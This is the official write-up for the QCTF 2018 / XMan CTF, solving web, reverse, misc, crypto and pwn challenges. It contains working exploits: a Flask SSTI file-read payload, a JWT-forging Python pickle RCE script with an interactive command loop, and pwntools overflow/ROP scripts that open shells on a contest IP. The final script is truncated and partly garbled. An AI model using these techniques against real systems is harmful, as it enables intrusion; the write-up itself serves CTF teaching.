第三届XMan夏令营选拔赛暨QCTF 2018官方writeup!

  XCTF联赛小秘       2018-07-17 14:20:54 6533  9

QCTF2018wp2

QCTF2018 Writeup

Web

Lottery

首先 访问 /robots.txt 或者 /.git/ 发现 Git 仓库可以 GitHack 拿到源码。
漏洞在 api.php

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}

其中 $numbers 来自用户json输入 {"action":"buy","numbers":"1122334"},没有检查数据类型。 $win_numbers 是随机生成的数字字符串。
使用 PHP 弱类型松散比较,以"1"为例,和TRUE,1,"1"相等。 由于 json 支持布尔型数据,因此可以抓包改包,构造数据:

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

当每一位中奖号码都不是0时即可中最高奖,攒钱买flag。

另外比赛过程中发现有的选手用了暴力重复注册然后买彩票的方法。考虑了一下这种方法花费的时间并不比直接审计代码短,为了给广大彩民一点希望,可以留作一种备选的非预期解,就没有改题加验证码或者提高flag价格。

NewsCenter

简单的SQL注入题,读取 INFORMATION_SCHEMA 中的元数据,然后读取flag的套路。
直接用 sqlmap 也可解。

Confusion1

一进来浏览网站发现什么也没有,两个页面login.php和register.php全是404

既然网站什么也没有,但是题目还是要做的,继续浏览网站,细心点的师傅可以发现在404页面里给了flag的路径

那么这个题的目的肯定就是要想办法读到flag文件,要读文件那就肯定要有用户输入,但是整个网站并没有可以和用户交互的地方,除了404页面url部分

有经验的师傅肯定做过其他比赛中有404页面url部分SSTI的题,这个题也是一样的,没有经验的萌新就只能一步步的试了,总之这个网站可以控制输出的地方只有404的url

测试

所以这里存在SSTI,之后照着思路往下走,不细心的师傅可能走PHP的SSTI了,因为整个站鄙人都伪装成了Apache+PHP,其实整个站使用Python flask实现的,伪装的并不完美,如果师傅做题的时候不小心弄出个500,可能就会暴露真实的服务

现在仔细看首页的那张图应该就能明白那张图片的意思了2333333333

另外题目里对一些关键字做了过滤

用request.args绕过即可
payload:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

另外题目里除了flag,还给了一个salt,也拿上,下一个题会用到


Confusion2

这个题和Confusion1相比多了login和register,所以肯定要用到注册和登录
另外题目描述里讲了

I find something STRANGE when Alice said hello to me.

登录成功之后首页刚好会出现一个"hello"+用户名

所以就需要关注这个hello是怎么来的

从注册到登录,抓个包发现cookie比较奇怪,除了PHPSESSID(当然这是假的23333)还有一个token,经过分析发现这是一个JWT

这并不是标准的JWT,是鄙人自己实现的一个(为了师傅们做题方便用的算法是sha256),然后分析一下payload里是什么

{
  "data": "O:4:\"User\":2:{s:9:\"user_data\";s:59:\"(lp1\nVsrpopty\np2\naS'0af1ebb83911a420f08e94e6028b93ad'\np3\na.\";}"
}

很明显data是一个PHP的序列化字符串,这时候很多师傅可能就会开始怀疑了,这个网站到底是个PHP还是个Python?接着分析下这个序列化字符串

User对象中有一个user_data的成员,值为

(lp1\nVsrpopty\np2\naS'0af1ebb83911a420f08e94e6028b93ad'\np3\na.

有经验的师傅这时候就可以看出来这是一个Python序列化的字符串,而且这个字符串中出现了两个很突出的部分:登录的用户名和一串hash,而这串hash就是用户名的md5

把这个字符串手动在python里反序列化一下会发现这是一个列表,第一个元素是用户名,第二个元素是用户名的md5

所以接下来就是利用python中class的__reduce__方法反序列化RCE,但是首先要想办法绕过JWT的验证

前面已经知道JWT中的算法是sha256,但是题目描述中说

PS: Alice said she likes add salts when she was cooking.

Hint中也提到

hint:Alice likes adding salt at the LAST.

在加上Confusion1中拿到的salt到现在都没有用到,所以sha256中需要加上前一道题中拿到的salt,根据Hint里提到的,salt需要加在最后,这样就能绕过JWT的验证了

需要注意一下的是在使用salt的时候格式是

	jwt_header + '.' + jwt_payload + salt

可能很多人在payload和salt之间也多加了个点导致JWT一直过不去
鄙人的锅,很抱歉鄙人没有讲清楚导致很多师傅卡在这里了

另外需要注意就是python反序列化的payload放在PHP的序列化字符串中也要注意PHP序列化的格式,字符数量必须和前面的数字相等

最后在opt中找到flag

附exp:

import cPickle
import os
import sys
import base64
import hashlib
import json
import Cookie
import commands
import MD5proof
import requests
import re


if os.name != 'posix':
    print 'This  must be run on Linux!'
    sys.exit(1)

sess = requests.Session()
url = 'http://xxxx:xxxx/'
md5proof = MD5proof.Md5Proof(0, 6)
SALT = '_Y0uW1llN3verKn0w1t_'
username = 'srpopty'
password = 'srpopty'
cmd = 'ls'


def base64_url_encode(text):
    return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')


def base64_url_decode(text):
    text = text.replace('-', '+').replace('_', '/')
    while True:
        try:
            result = base64.b64decode(text)
        except TypeError:
            text += '='
        else:
            break
    return result


class PickleRce(object):
    def __reduce__(self):
        return commands.getoutput, (cmd, )


def register(username, password):
    while True:
        verify = md5proof.Proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',
                                           sess.get(url + 'login.php', allow_redirects=False).content)[0])
        if len(verify) > 0 and '*' not in verify:
            break
    data = {
        'username': username,
        'password': password,
        'verify': verify
    }
    ret = sess.post(url + 'register.php', data=data, allow_redirects=False)
    if 'success' in ret.content:
        return True
    else:
        print '[!] Register failed!'
        print ret.content
        return False


def login(username, password):
    while True:
        verify = md5proof.Proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',
                                           sess.get(url + 'login.php', allow_redirects=False).content)[0])
        if len(verify) > 0 and '*' not in verify:
            break
    data = {
        'username': username,
        'password': password,
        'verify': verify
    }
    ret = sess.post(url + 'login.php', data=data, allow_redirects=False)
    if 'success' in ret.content:
        return ret
    else:
        print '[!] Login failed!'
        print ret.content
        return None


def create_jwt(kid, data):
    jwt_header = base64_url_encode(
        '{"typ":"JWT","alg":"sha256","kid":"%d"}' % kid)
    jwt_payload = base64_url_encode('{"data":"%s"}' % data)
    jwt_signature = base64_url_encode(hashlib.sha256(
        jwt_header + '.' + jwt_payload + SALT).hexdigest())
    return jwt_header + '.' + jwt_payload + '.' + jwt_signature


def serialize():
    payload = cPickle.dumps([PickleRce(), PickleRce()])
    data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (
        len(payload), payload))[1:-1]
    print data
    return data


if register(username, password) is not None:
    login_result = login(username, password)
    if login_result is not None:
        try:
            while True:
                cmd = raw_input('>>> ')
                cookies = login_result.cookies
                # print '[*] Old Cookie token: ' + cookies['token']
                jwt = create_jwt(int(re.findall('"kid":"(.*?)"', base64_url_decode(
                    login_result.cookies['token'].split('.')[0]))[0]), serialize())
                new_token = Cookie.SimpleCookie().value_encode(jwt)[1]
                # print '[*] New Cookie token: ' + new_token
                new_cookies = {
                    'PHPSESSID': cookies['PHPSESSID'],
                    'token': new_token
                }
                ret = requests.get(url + 'index.php',
                                   allow_redirects=False, cookies=new_cookies)
                print '[*] RCE result: ' + re.findall('<p class="hello">Hello ([\s\S]*?)</p>', ret.content)[0]
        except KeyboardInterrupt:
            print '\nExit.'

Reverse

Xman-babymips

简单的mips逆向,源码如下:

//qctf{ReA11y_4_B@89_mlp5_4_XmAn_}
#include <stdio.h>
#include <string.h>
char *check1="Q|j{g";
char *check2= "\x52\xfd\x16\xa4\x89\xbd\x92\x80\x13\x41\x54\xa0\x8d\x45\x18\x81\xde\xfc\x95\xf0\x16\x79\x1a\x15\x5b\x75\x1f";
void check(char *s){
	int i;
	for(i=5;i<strlen(s);i++){
		if(i%2)
			s[i]=(s[i]>>2)|((s[i]<<6)&0xff);
		else
			s[i]=((s[i]<<2)&0xff)|(s[i]>>6);	
	}
	if(!strncmp(&s[5],check2,27))
		printf("Right!\n");
	else
		printf("Wrong!\n");
}
void main(){
	char s[33];
	int i;
	printf("Give me your flag:");
	scanf("%32s",s);
	
	for(i=0;i<32;i++)
		s[i]^=(32-i);
	if(!strncmp(s,check1,5))
		check(s);
	else
		printf("Wrong\n");
}

所有逻辑可逆,直接写脚本跑就行了。这里贴一下2019师傅的脚本:

flag = "qctf{"
keys = [0x52, 0xFD, 0x16, 0xA4, 0x89, 0xBD, 0x92, 0x80,
0x13, 0x41, 0x54, 0xA0, 0x8D, 0x45, 0x18, 0x81,  0xDE, 0xFC, 0x95, 0xF0, 0x16, 0x79, 0x1A, 0x15,
0x5B, 0x75, 0x1F]
print len(keys)
for i in xrange(5,0x20):
	for c in xrange(0,0x100):
		fst = (c ^ ((0x20-i)))
		if (i % 2) == 0:
			res = ((fst << 2) % 0x100) | (fst >> 6)
		else:
			res = (fst >> 2) | ((fst << 6) % 0x100)
		if (res == keys[i-5]):
			flag += chr(c)

print flag

babyre

这是个rust写的程序,程序逻辑很简单。

  1. 首先判断输入的字符串长度是否等于32
  2. 下一步对字符串进行一些变换操作。
    2.1 每4个为一组,把第2个换到第0个,第3个换到第2个,第0个换到第1个,第1个换到第3个
    2.2 还是以4个为一组,但是偏移了3个元素。对每个元素加一个常数
    2.3 还是以4个为一组,但是偏移了9个元素。对每个元素的bit进行前后调整
    3 最后与一个固定的数组进行比较
    贴一下Pizza师傅的脚本:
secret = \
[
    0xDA, 0xD8, 0x3D, 0x4C, 0xE3, 0x63, 0x97, 0x3D, 
    0xC1, 0x91, 0x97, 0x0E, 0xE3, 0x5C, 0x8D, 0x7E, 
    0x5B, 0x91, 0x6F, 0xFE, 0xDB, 0xD0, 0x17, 0xFE, 
    0xD3, 0x21, 0x99, 0x4B, 0x73, 0xD0, 0xAB, 0xFE
]

def ror(c, b):
    return ((c >> b) | (c << (8-b))) & 0xFF

def in3(l):
    for i in xrange(0, len(l), 4):
        l[(i+ 9) % 0x20] = ror(l[(i+ 9) % 0x20],6)
        l[(i+10) % 0x20] = ror(l[(i+10) % 0x20],1)
        l[(i+11) % 0x20] = ror(l[(i+11) % 0x20],4)
        l[(i+12) % 0x20] = ror(l[(i+12) % 0x20],3)

def in2(l):
    for i in xrange(0, len(l), 4):
        l[(i+3) % 0x20] -= 0x81
        l[(i+4) % 0x20] -= 0x07
        l[(i+5) % 0x20] -= 0x12
        l[(i+6) % 0x20] -= 0x58

def in1(l):
    for i in xrange(0, len(l), 4):
        l[i+2], l[i+0], l[i+3], l[i+1] = l[i+0], l[i+1], l[i+2], l[i+3]

in3(secret)
in2(secret)
in1(secret)
flag = ""
for c in secret:
    flag += chr(c)
print flag

ollvm

解题思路:利用Miasm反控制流平坦化,当然也可以直接逆
程序逻辑:进行了两次RSA
第一次:

可以直接分解得到密钥

第二次:

正常的RSA加密

由于是逐字节取数据加密,所以可以爆破建立彩虹表
两次加密数据之间存在累加对应关系

asong

逻辑如下:

  1. 统计了 that_girl 文件的词频, 将flag 转换为对应的词频
  2. 两次加密, 置换, 移位
s = [22, 0, 6, 2, 30, 24, 9, 1, 21, 7, 18, 10, 8, 12, 17, 23, 13, 4, 3, 14, 19, 11, 20, 16, 15, 5, 25, 36, 27, 28, 29, 37, 31, 32, 33, 26, 34, 35]

dic = {"a":104,"b":30,"c":15,"d":29,"e":169,"f":19,"g":38,"h":67,"i":60,"j":0,"k":20,"l":39,"m":28,"n":118,"o":165,"p":26,"q":0,"r":61,"s":51,"t":133,"u":45,"v":7,"w":34,"x":0,"y":62,"z":0,"_":245}

flag = r'QCTF{that_girl_saying_no_for_your_vindicate}'

def encypt(flag):
	f = flag[5:-1]
	e0 = []
	for i in f:
		e0.append(dic[i])
	i = 0
	temp = e0[0]
	while s[i] != 0:
		e0[i] = e0[s[i]]
		i = s[i]
	e0[i] = temp
	temp = (e0[0]>>5) & 0x7
	enc = ""
	for i in range(len(e0)-1):
		enc += chr(((e0[i] << 3) & 0xff) | ((e0[i+1] >> 5) & 0x7))
	enc += chr(((e0[len(e0)-1] << 3) & 0xff) | temp)
	return enc


def decypt(enc):
	# enc = open("out").read()

	d0 = []
	temp = ord(enc[len(enc)-1]) & 0x7
	for i in range(len(enc)):
		d0.append((temp << 5) | (ord(enc[i]) >> 3))
		temp = ord(enc[i]) & 0x7

	i = 37
	temp = d0[37]
	while s.index(i) != 37:
		d0[i] = d0[s.index(i)]
		i = s.index(i)
	d0[i] = temp
	flag = []
	for i in d0:
		flag.append(list(dic.keys())[list(dic.values()).index(i)])
	return "QCTF{%s}" % ''.join(flag)

print decypt(encypt(flag))

Misc

Noise

在一开始出题的时候这其实是两个题目,后来因为觉得太简单了就和到了一起,但其实我还是觉得是简单题。

题目由两部分组成

第一部分是将提供的音频文件中隐藏的一段音频分离出来


这一部分是在和朋友吹逼的时候得到的灵感,在音乐中,乐器的音道并不是置中的,而人声是。

利用声波叠加干涉消除原声,当声波的相位差达到180度的时候,就可以达到消音的效果。

这里偷懒用一下阿杰同学的WP

所以,只要找到原音频,反相后与题目音频同时播放,那所听到的就是我添加进去的部分。


3个hint我的提示其实都是在这一部分

第二部分将取出的音频导入SSTV的软件中即可得到图像及flag。

(软件版本可能会对最后的解码有影响,我用的是MMSSTV v1.13A阿杰同学用的v1.09并不能正确的解码

ps. 音频源文件下载自网易云音乐

pss. flag: QCTF{Th4t_1s_v3ry_Har5h}

pps.因为文件出错的问题我已经自裁买了英格兰了

psp. oh! my little pony~~( ゚∀。)

Picture

解题思路:简单的LSDy隐写
步骤:

  1. 提取lsd隐写文件,密码为文件名(万事皆空无欲无求的首字母)

  1. 得到的是一个python脚本,实现了des加密,

  1. 根据程序逻辑,实现解密脚本

  2. 解密即可获得flag

#_*_coding:utf-8_*_
#!/usr/bin/env python
#Filename:des.py

import re

ip=  (58, 50, 42, 34, 26, 18, 10, 2,
      60, 52, 44, 36, 28, 20, 12, 4,
      62, 54, 46, 38, 30, 22, 14, 6,
      64, 56, 48, 40, 32, 24, 16, 8,
      57, 49, 41, 33, 25, 17, 9 , 1,
      59, 51, 43, 35, 27, 19, 11, 3,
      61, 53, 45, 37, 29, 21, 13, 5,
      63, 55, 47, 39, 31, 23, 15, 7)

ip_1=(40, 8, 48, 16, 56, 24, 64, 32,
      39, 7, 47, 15, 55, 23, 63, 31,
      38, 6, 46, 14, 54, 22, 62, 30,
      37, 5, 45, 13, 53, 21, 61, 29,
      36, 4, 44, 12, 52, 20, 60, 28,
      35, 3, 43, 11, 51, 19, 59, 27,
      34, 2, 42, 10, 50, 18, 58, 26,
      33, 1, 41,  9, 49, 17, 57, 25)

e  =(32, 1,  2,  3,  4,  5,  4,  5, 
       6, 7,  8,  9,  8,  9, 10, 11, 
      12,13, 12, 13, 14, 15, 16, 17,
      16,17, 18, 19, 20, 21, 20, 21,
      22, 23, 24, 25,24, 25, 26, 27,
      28, 29,28, 29, 30, 31, 32,  1)
 
p=(16,  7, 20, 21, 29, 12, 28, 17,
     1, 15, 23, 26,  5, 18, 31, 10, 
     2,  8, 24, 14, 32, 27,  3,  9,
     19, 13, 30, 6, 22, 11,  4,  25)

s=[ [[14, 4, 13,  1,  2, 15, 11,  8,  3, 10,  6, 12,  5,  9,  0,  7],
     [0, 15,  7,  4, 14,  2, 13,  1, 10,  6, 12, 11,  9,  5,  3,  8],
     [4,  1, 14,  8, 13,  6,  2, 11, 15, 12,  9,  7,  3, 10,  5,  0],    
     [15, 12,  8,  2,  4,  9,  1,  7,  5, 11,  3, 14, 10,  0,  6, 13]],

     [[15,  1,  8, 14,  6, 11,  3,  4,  9,  7,  2, 13, 12,  0,  5, 10],     
     [3, 13,  4,  7, 15,  2,  8, 14, 12,  0,  1, 10,  6,  9, 11,  5],     
     [0, 14,  7, 11, 10,  4, 13,  1,  5,  8, 12,  6,  9,  3,  2, 15],     
     [13,  8, 10,  1,  3, 15,  4,  2, 11,  6,  7, 12,  0,  5, 14,  9]],

     [[10,  0,  9, 14,  6,  3, 15,  5,  1, 13, 12,  7, 11,  4,  2,  8],     
     [13,  7,  0,  9,  3,  4,  6, 10,  2,  8,  5, 14, 12, 11, 15,  1],   
     [13,  6,  4,  9,  8, 15,  3,  0, 11,  1,  2, 12,  5, 10, 14,  7],     
     [1, 10, 13,  0,  6,  9,  8,  7,  4, 15, 14,  3, 11,  5,  2, 12]],

    [[7, 13, 14,  3,  0,  6,  9, 10,  1,  2,  8,  5, 11,  12,  4, 15],     
     [13,  8, 11,  5,  6, 15,  0,  3,  4,  7,  2, 12,  1, 10, 14,9],     
     [10,  6,  9,  0, 12, 11,  7, 13, 15,  1,  3, 14,  5,  2,  8,  4],     
     [3, 15,  0,  6, 10,  1, 13,  8,  9,  4,  5, 11, 12,  7,  2, 14]],


    [[2, 12,  4,  1,  7, 10, 11,  6,  8,  5,  3, 15, 13,  0, 14,  9],     
     [14, 11,  2, 12,  4,  7, 13,  1,  5,  0, 15, 10,  3,  9,  8,  6],     
     [4,  2,  1, 11, 10, 13,  7,  8, 15,  9, 12,  5,  6,  3,  0, 14],     
     [11,  8, 12,  7,  1, 14,  2, 13,  6, 15,  0,  9, 10,  4,  5,  3]],

    [[12,  1, 10, 15,  9,  2,  6,  8,  0, 13,  3,  4, 14,  7,  5, 11],
     [10, 15,  4,  2,  7, 12,  9,  5,  6,  1, 13, 14,  0, 11,  3,  8],     
     [9, 14, 15,  5,  2,  8, 12,  3,  7,  0,  4, 10,  1, 13, 11,  6],     
     [4,  3,  2, 12,  9,  5, 15, 10, 11, 14,  1,  7,  6,  0,  8, 13]],

    [[4, 11,  2, 14, 15,  0,  8, 13,  3, 12,  9,  7,  5, 10,  6,  1],     
     [13,  0, 11,  7,  4,  9,  1, 10, 14,  3,  5, 12,  2, 15,  8,  6],     
     [1,  4, 11, 13, 12,  3,  7, 14, 10, 15,  6,  8,  0,  5,  9,  2],     
     [6, 11, 13,  8,  1,  4, 10,  7,  9,  5,  0, 15, 14,  2,  3, 12]],

   [[13,  2,  8,  4,  6, 15, 11,  1, 10,  9,  3, 14,  5,  0, 12,  7],     
     [1, 15, 13,  8, 10,  3,  7,  4, 12,  5,  6, 11,  0, 14,  9,  2],     
     [7, 11,  4,  1,  9, 12, 14,  2,  0,  6, 10, 13, 15,  3,  5,  8],     
     [2,  1, 14,  7,  4, 10,  8, 13, 15, 12,  9,  0,  3,  5,  6, 11]]]
     
pc1=(57, 49, 41, 33, 25, 17,  9,
       1, 58, 50, 42, 34, 26, 18,
      10,  2, 59, 51, 43, 35, 27,
      19, 11,  3, 60, 52, 44, 36,
      63, 55, 47, 39, 31, 23, 15,
       7, 62, 54, 46, 38, 30, 22,
      14,  6, 61, 53, 45, 37, 29,
      21, 13,  5, 28, 20, 12, 4);

pc2= (14, 17, 11, 24,  1,  5,  3, 28,
      15,  6, 21, 10, 23, 19, 12,  4, 
      26,  8, 16,  7, 27, 20, 13,  2, 
      41, 52, 31, 37, 47, 55, 30, 40, 
      51, 45, 33, 48, 44, 49, 39, 56, 
      34, 53, 46, 42, 50, 36, 29, 32)

d = (  1,  1,  2,  2,  2,  2,  2,  2, 1, 2, 2, 2, 2, 2, 2, 1)

__all__=['desdecode']
class DES():
	'''解密函数,DES加密与解密的方法相差不大
		只是在解密的时候所用的子密钥与加密的子密钥相反
	'''
	def __init__(self):
		pass
	
	def decode(self,string,key,key_len,string_len):
		output=""
		trun_len=0
		num=0
		
		#将密文转换为二进制
		code_string=self._functionCharToA(string,string_len)
		#获取字密钥
		code_key=self._getkey(key,key_len)
				
		
		#如果密钥长度不是16的整数倍则以增加0的方式变为16的整数倍
		real_len=(key_len/16)+1 if key_len%16!=0 else key_len/16
		trun_len=string_len*4
		#对每64位进行一次加密
		for i in range(0,trun_len,64):
			run_code=code_string[i:i+64]
			run_key=code_key[num%real_len]

			#64位明文初始置换
			run_code= self._codefirstchange(run_code)
			
			#16次迭代
			for j in range(16):
				
				code_r=run_code[32:64]
				code_l=run_code[0:32]
				
				#64左右交换	
				run_code=code_r
				
				#右边32位扩展置换
				code_r= self._functionE(code_r)
				
				#获取本轮子密钥
				key_y=run_key[15-j]

				#异或
				code_r= self._codeyihuo(code_r,key_y)
				
				#S盒代替/选择
				code_r= self._functionS(code_r)
				
				#P转换
				code_r= self._functionP(code_r)
				
				#异或
				code_r= self._codeyihuo(code_l,code_r)
				
				run_code+=code_r
			num+=1
			
			#32互换
			code_r=run_code[32:64]
			code_l=run_code[0:32]
			run_code=code_r+code_l
			
			#将二进制转换为16进制、逆初始置换
			output+=self._functionCodeChange(run_code)
		return output
	
	#获取子密钥
	def _getkey(self,key,key_len):
		
		#将密钥转换为二进制
		code_key=self._functionCharToA(key,key_len)
		
		a=['']*16
		real_len=(key_len/16)*16+16 if key_len%16!=0 else key_len

		b=['']*(real_len/16)
		for i in range(real_len/16):
			b[i]=a[:]
		num=0
		trun_len=4*key_len
		for i in range(0,trun_len,64):
			run_key=code_key[i:i+64]
			run_key= self._keyfirstchange(run_key)
			for j in range(16):
				key_l=run_key[0:28]
				key_r=run_key[28:56]
				key_l=key_l[d[j]:28]+key_l[0:d[j]]
				key_r=key_r[d[j]:28]+key_r[0:d[j]]
				run_key=key_l+key_r
				key_y= self._functionKeySecondChange(run_key)
				b[num][j]=key_y[:]
			num+=1

		return b	
		
	#异或	 							
	def _codeyihuo(self,code,key):
		code_len=len(key)
		return_list=''
		for i in range(code_len):
			if code[i]==key[i]:
				return_list+='0'
			else:
				return_list+='1'
		return return_list

	#密文或明文初始置换		 							
	def _codefirstchange(self,code):
		changed_code=''
		for i in range(64):
			changed_code+=code[ip[i]-1]
		return changed_code
		
	#密钥初始置换
	def _keyfirstchange (self,key):
		changed_key=''
		for i in range(56):
			changed_key+=key[pc1[i]-1]
		return changed_key
	
	#逆初始置换
	def _functionCodeChange(self, code):
		return_list=''
		for i in range(16):
			list=''
			for j in range(4):
				list+=code[ip_1[i*4+j]-1]
			return_list+="%x" %int(list,2)
		return return_list
	
	#扩展置换	
	def _functionE(self,code):
		return_list=''
		for i in range(48):
			return_list+=code[e[i]-1]
		return return_list		
	
	#置换P	
	def _functionP(self,code):
		return_list=''
		for i in range(32):
			return_list+=code[p[i]-1]
		return return_list

	#S盒代替选择置换	
	def _functionS(self, key):
		return_list=''
		for i in range(8):
			row=int( str(key[i*6])+str(key[i*6+5]),2)
			raw=int(str( key[i*6+1])+str(key[i*6+2])+str(key[i*6+3])+str(key[i*6+4]),2)
			return_list+=self._functionTos(s[i][row][raw],4)

		return return_list
	
	#密钥置换选择2
	def _functionKeySecondChange(self,key):
		return_list=''
		for i in range(48):
			return_list+=key[pc2[i]-1]
		return return_list
	
	#将十六进制转换为二进制字符串
	def _functionCharToA(self,code,lens):
		return_code=''
		lens=lens%16
		for key in code:
			code_ord=int(key,16)
			return_code+=self._functionTos(code_ord,4)
		
		if lens!=0:
			return_code+='0'*(16-lens)*4
		return return_code
	
	#二进制转换
	def _functionTos(self,o,lens):
		return_code=''
		for i in range(lens):
			return_code=str(o>>i &1)+return_code
		return return_code

#将unicode字符转换为16进制
def tohex(string):
	return_string=''
	for i in string:
		return_string+="%02x"%ord(i)
	return return_string
		
def tounicode(string):
	return_string=''
	string_len=len(string)
	for i in range(0,string_len,2):
		return_string+=chr(int(string[i:i+2],16))
	return return_string
	
#入口函数
def desdecode(from_code,key):
	key=tohex(key)

	des=DES()
	
	key_len=len(key)
	string_len=len(from_code)
	if string_len%16!=0:
		return False
	if string_len<1 or key_len<1:
		return False

	key_code= des.decode(from_code,key,key_len,string_len)
	return tounicode(key_code)
	
#测试
if __name__  == '__main__':
	print("DES 解密\n")
	c=raw_input("请输入密文(长度不限):")
	k=raw_input("请输入密钥(长度不限):")
	print desdecode(c,k)
	k=raw_input("按确定退出")

Xman-Keyword

重点:keyword字符替换法。

具体参考https://wenku.baidu.com/view/6e84cad459eef8c75ebfb3b5.html

题目是一张图片,LSB隐写了PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}

利用上面的方法即可获得原文信息。

def getKeywordList(keyword):
    normalList = ''
    for i in range(26):
        normalList = normalList + chr(ord('a') + i)
    toCombine = keyword + normalList
    combineList = ''
    for i in toCombine:
        if i in combineList:
            pass
        else:
            combineList = combineList + i
    if len(combineList) == 26:
        return combineList
    else:
        return ''


def replaceChar(keywordList, inputChar):
    if inputChar.isupper():
        return replaceChar(keywordList, inputChar.lower()).upper()
    else:
        return keywordList[ord(inputChar) - 97]


def dereplaceChar(keywordList, inputChar):
    if inputChar.isupper():
        return dereplaceChar(keywordList, inputChar.lower()).upper()
    else:
        return chr(keywordList.find(inputChar) + 97)


def KeywordReplace(toReplace, keyword):
	'''keyword 字符替换法 替换函数'''
    afterReplace = ''
    for i in toReplace:
        if i.isalpha():
            afterReplace = afterReplace + \
                replaceChar(getKeywordList(keyword), i)
        else:
            afterReplace = afterReplace + i
    return afterReplace


def deKeywordReplace(toReplace, keyword):
	'''keyword 字符替换法  反替换函数'''
    afterReplace = ''
    for i in toReplace:
        if i.isalpha():
            afterReplace = afterReplace + \
                dereplaceChar(getKeywordList(keyword), i)
        else:
            afterReplace = afterReplace + i
    return afterReplace

print KeywordReplace('QCTF{cCgeLdnrIBCX9G1g13KFfeLNsnMRdOwf}', 'lovekfc')
print deKeywordReplace('PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}', 'lovekfc')

Xman-A-face

补全二维码定位符,用base32解码得到flag

Crypto

Xman-RSA

首先观察程序,构建字典,还原出原程序:

from gmpy2 import is_prime
from os import urandom
import base64

def bytes_to_num(b):
	return int(b.encode('hex'), 16)

def num_to_bytes(n):
	b = hex(n)[2:-1]
	b = '0' + b if len(b)%2 == 1 else b
	return b.decode('hex')

def get_a_prime(l):
	random_seed = urandom(l)

	num = bytes_to_num(random_seed)

	while True:
		if is_prime(num):
			break
		num+=1
	return num

def encrypt(s, e, n):
	p = bytes_to_num(s)
	p = pow(p, e, n)
	return num_to_bytes(p).encode('hex')

def separate(n):
	p = n % 4
	t = (p*p) % 4
	return t == 1

f = open('flag.txt', 'r')
flag = f.read()

msg1 = ""
msg2 = ""
for i in range(len(flag)):
	if separate(i):
		msg2 += flag[i]
	else:
		msg1 += flag[i]

p1 = get_a_prime(128)
p2 = get_a_prime(128)
p3 = get_a_prime(128)
n1 = p1*p2
n2 = p1*p3
e = 0x1001
c1 = encrypt(msg1, e, n1)
c2 = encrypt(msg2, e, n2)
print(c1)
print(c2)

e1 = 0x1001
e2 = 0x101
p4 = get_a_prime(128)
p5 = get_a_prime(128)
n3 = p4*p5
c1 = num_to_bytes(pow(n1, e1, n3)).encode('hex')
c2 = num_to_bytes(pow(n1, e2, n3)).encode('hex')
print(c1)
print(c2)

print(base64.b64encode(num_to_bytes(n2)))
print(base64.b64encode(num_to_bytes(n3)))

首先共模攻击解出n1,之后求n1,n2的最大公约数得到p1,p2,最后求明文即可。

babyrsa

RSA parity oracle

对密文乘(2^^e%n)操作,再解密的时候,如果为偶数,说明明文再(0, n/2)之间,否则在(n/2, n)之间

以此操作,只需要log n的次数就可以知道明文

Pwn

Xman-dice-game

简单的栈溢出,这里直接贴一下2019师傅的writeup:

溢出把种子设为0,然后随机数就可以预测了(PS:其实这题没溢出也能做,因为time(0)是可预测的。。。)

from pwn import *

g_local=False
context.log_level='debug'

if g_local:
	sh = process('./dice_game')#env={'LD_PRELOAD':'./libc.so.6'}
	#gdb.attach(sh)
else:
	sh = remote("47.96.239.28", 9999)

ans = [2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1] #写个简单的C语言程序可以获取到这个

sh.recvuntil(" let me know your name: ")
sh.send("A" * 0x40 + p64(0))

for x in ans:
	sh.recvuntil("Give me the point(1~6): ")
	sh.send(str(x) + "\n")

sh.interactive()

Xman-stack2

这个题有个坑点在于题目给出了getshell的函数,但是出题人在搭建docker环境时未注意,环境中只给了sh,在发现问题后考虑到题目依然可解就未再次更改环境。题目依然是简单的栈溢出,只不过不能直接跳转到getshell,需要简单的ROP一下。贴一下2019师傅的exp:

from pwn import *

g_local=True
context.log_level='debug'

if g_local:
	sh = process('./stack2')#env={'LD_PRELOAD':'./libc.so.6'}
	gdb.attach(sh)
else:
	sh = remote("47.96.239.28", 2333)

def write_byte(off, val):
	sh.send("3\n")
	sh.recvuntil("which number to change:\n")
	sh.send(str(off) + "\n")
	sh.recvuntil("new number:\n")
	sh.send(str(val) + "\n")
	sh.recvuntil("5. exit\n")

def write_dword(off, val):
	write_byte(off, val & 0xff)
	write_byte(off + 1, (val >> 8) & 0xff)
	write_byte(off + 2, (val >> 16) & 0xff)
	write_byte(off + 3, (val >> 24) & 0xff)

def exit():
	sh.send("5\n")
	sh.interactive()

sh.recvuntil("How many numbers you have:\n")
sh.send("1\n")
sh.recvuntil("Give me your numbers\n")
sh.send("1\n")
sh.recvuntil("5. exit\n")

write_dword(0x84, 0x8048450)
write_dword(0x8C, 0x8048980 + 7)
exit()

notebook

直接上脚本:

Debug=0  
Local=1  
Frida=0  
Debug_pwntools=1  

#常量
Local_path='./notebook'

Remote_addr=''
Port=1

frida__path='./frida.js'



if Local!=0:
  process=process(Local_path)
else:
  process=remote(Remote_addr,Port)

if Debug_pwntools!=0:
  context.log_level="debug"

if Frida!=0 and Local!=0:
  import frida,sys

  def print_result(message):  
              print "[*] %s" %(message)
  
  def on_message(message, data):  
              print_result(message['payload'])
  
  
  frida_process = frida.attach(process.pid)
  f = open('frida__path')
  jscode = f.read()
  f.close()
   = frida_process.create_(jscode)  
  .on('message', on_message)

if Debug!=0 and Local!=0:
  context.terminal = ['tmux', 'splitw', '-h']
  gdb.attach(process)

if Debug!=0:
  raw_input()
read_addr=0x0804A02C
write_addr=0x0804A014
globallength=0x0804A06C
process.recv()
